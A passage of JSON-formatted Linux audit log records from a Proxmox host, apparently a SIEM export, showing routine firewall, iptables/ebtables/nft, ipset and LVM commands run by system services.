{"@timestamp":1781964154520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964154.520:59805): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965665406,"@rawstring":"node=pve type=PATH msg=audit(1781965665.406:66571): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964153114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964153.114:59804): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665396,"@rawstring":"node=pve type=PATH msg=audit(1781965665.396:66570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964153114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964153.114:59803): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665396,"@rawstring":"node=pve type=PATH msg=audit(1781965665.396:66570): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964153114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964153.114:59802): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665386,"@rawstring":"node=pve type=PATH msg=audit(1781965665.386:66569): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964153.105:59801): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665386,"@rawstring":"node=pve type=PATH msg=audit(1781965665.386:66569): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964153.105:59800): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965664381,"@rawstring":"node=pve type=PATH msg=audit(1781965664.381:66568): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964153.105:59799): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965664381,"@rawstring":"node=pve type=PATH msg=audit(1781965664.381:66568): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964148.100:59798): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965664354,"@rawstring":"node=pve type=PATH msg=audit(1781965664.354:66567): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964148.100:59797): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965664354,"@rawstring":"node=pve type=PATH msg=audit(1781965664.354:66567): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964148.100:59796): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965663881,"@rawstring":"node=pve type=PATH msg=audit(1781965663.881:66566): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964148.088:59795): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965663881,"@rawstring":"node=pve type=PATH msg=audit(1781965663.881:66566): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964148.088:59794): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965663880,"@rawstring":"node=pve type=PATH msg=audit(1781965663.880:66565): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964148.088:59793): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965663880,"@rawstring":"node=pve type=PATH msg=audit(1781965663.880:66564): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145817,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.817:59792): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965663872,"@rawstring":"node=pve type=PATH msg=audit(1781965663.872:66563): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.814:59791): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965663872,"@rawstring":"node=pve type=PATH msg=audit(1781965663.872:66563): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.813:59790): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965663872,"@rawstring":"node=pve type=PATH msg=audit(1781965663.872:66562): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.813:59789): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965663870,"@rawstring":"node=pve type=PATH msg=audit(1781965663.870:66561): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.809:59788): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965660689,"@rawstring":"node=pve type=PATH msg=audit(1781965660.689:66560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.802:59787): proctitle=\"ip6tables-save\""} {"@timestamp":1781965660689,"@rawstring":"node=pve type=PATH msg=audit(1781965660.689:66560): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145796,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.796:59786): proctitle=\"iptables-save\""} {"@timestamp":1781965660689,"@rawstring":"node=pve type=PATH msg=audit(1781965660.689:66559): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.789:59785): proctitle=\"ip6tables-save\""} {"@timestamp":1781965660689,"@rawstring":"node=pve type=PATH msg=audit(1781965660.689:66559): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145782,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.782:59784): proctitle=\"iptables-save\""} {"@timestamp":1781965660687,"@rawstring":"node=pve type=PATH msg=audit(1781965660.687:66558): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.779:59783): proctitle=\"ebtables-restore\""} {"@timestamp":1781965660687,"@rawstring":"node=pve type=PATH msg=audit(1781965660.687:66558): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.776:59782): proctitle=\"ebtables-restore\""} {"@timestamp":1781965658862,"@rawstring":"node=pve type=PATH msg=audit(1781965658.862:66557): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.770:59781): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965658862,"@rawstring":"node=pve type=PATH msg=audit(1781965658.862:66557): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.764:59780): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965658862,"@rawstring":"node=pve type=PATH msg=audit(1781965658.862:66556): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145759,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.759:59779): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965658862,"@rawstring":"node=pve type=PATH msg=audit(1781965658.862:66555): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.753:59778): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965658854,"@rawstring":"node=pve type=PATH msg=audit(1781965658.854:66554): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.748:59777): proctitle=697073657400726573746F7265"} {"@timestamp":1781965658854,"@rawstring":"node=pve type=PATH msg=audit(1781965658.854:66554): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145742,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.742:59776): proctitle=\"ip6tables-save\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=PATH msg=audit(1781965658.854:66553): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.735:59775): proctitle=\"iptables-save\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=PATH msg=audit(1781965658.854:66552): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145731,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.731:59774): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965655371,"@rawstring":"node=pve type=PATH msg=audit(1781965655.371:66551): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.728:59773): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965655371,"@rawstring":"node=pve type=PATH msg=audit(1781965655.371:66551): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145726,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.726:59772): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655365,"@rawstring":"node=pve type=PATH msg=audit(1781965655.365:66550): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145726,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.726:59771): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655365,"@rawstring":"node=pve type=PATH msg=audit(1781965655.365:66550): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145722,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.722:59770): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655364,"@rawstring":"node=pve type=PATH msg=audit(1781965655.364:66549): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.715:59769): proctitle=\"ip6tables-save\""} {"@timestamp":1781965655364,"@rawstring":"node=pve type=PATH msg=audit(1781965655.364:66549): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145708,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.708:59768): proctitle=\"iptables-save\""} {"@timestamp":1781965655363,"@rawstring":"node=pve type=PATH msg=audit(1781965655.363:66548): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145702,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.702:59767): proctitle=69707365740073617665"} {"@timestamp":1781965655358,"@rawstring":"node=pve type=PATH msg=audit(1781965655.358:66547): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.696:59766): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965655358,"@rawstring":"node=pve type=PATH msg=audit(1781965655.358:66547): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964145690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964145.690:59765): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965655358,"@rawstring":"node=pve type=PATH msg=audit(1781965655.358:66547): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964144438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964144.438:59764): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965655345,"@rawstring":"node=pve type=PATH msg=audit(1781965655.345:66546): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964144401,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964144.401:59763): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965655345,"@rawstring":"node=pve type=PATH msg=audit(1781965655.345:66546): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964143.082:59762): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655335,"@rawstring":"node=pve type=PATH msg=audit(1781965655.335:66545): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964143.082:59761): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655335,"@rawstring":"node=pve type=PATH msg=audit(1781965655.335:66545): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964143.082:59760): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655325,"@rawstring":"node=pve type=PATH msg=audit(1781965655.325:66544): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964143.077:59759): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655325,"@rawstring":"node=pve type=PATH msg=audit(1781965655.325:66544): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964143.077:59758): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655316,"@rawstring":"node=pve type=PATH msg=audit(1781965655.316:66543): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964143.077:59757): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655316,"@rawstring":"node=pve type=PATH msg=audit(1781965655.316:66543): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964138.067:59756): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655308,"@rawstring":"node=pve type=PATH msg=audit(1781965655.308:66541): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964138.067:59755): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655308,"@rawstring":"node=pve type=PATH msg=audit(1781965655.308:66541): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964138.067:59754): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655299,"@rawstring":"node=pve type=PATH msg=audit(1781965655.299:66540): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964138060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964138.060:59753): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655299,"@rawstring":"node=pve type=PATH msg=audit(1781965655.299:66540): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964138060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964138.060:59752): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655288,"@rawstring":"node=pve type=PATH msg=audit(1781965655.288:66539): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964138060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964138.060:59751): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965655288,"@rawstring":"node=pve type=PATH msg=audit(1781965655.288:66539): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.677:59750): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965655281,"@rawstring":"node=pve type=PATH msg=audit(1781965655.281:66538): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.673:59749): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965655281,"@rawstring":"node=pve type=PATH msg=audit(1781965655.281:66538): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.672:59748): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655273,"@rawstring":"node=pve type=PATH msg=audit(1781965655.273:66537): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.672:59747): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655273,"@rawstring":"node=pve type=PATH msg=audit(1781965655.273:66537): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135668,"@rawstring":"node=pve 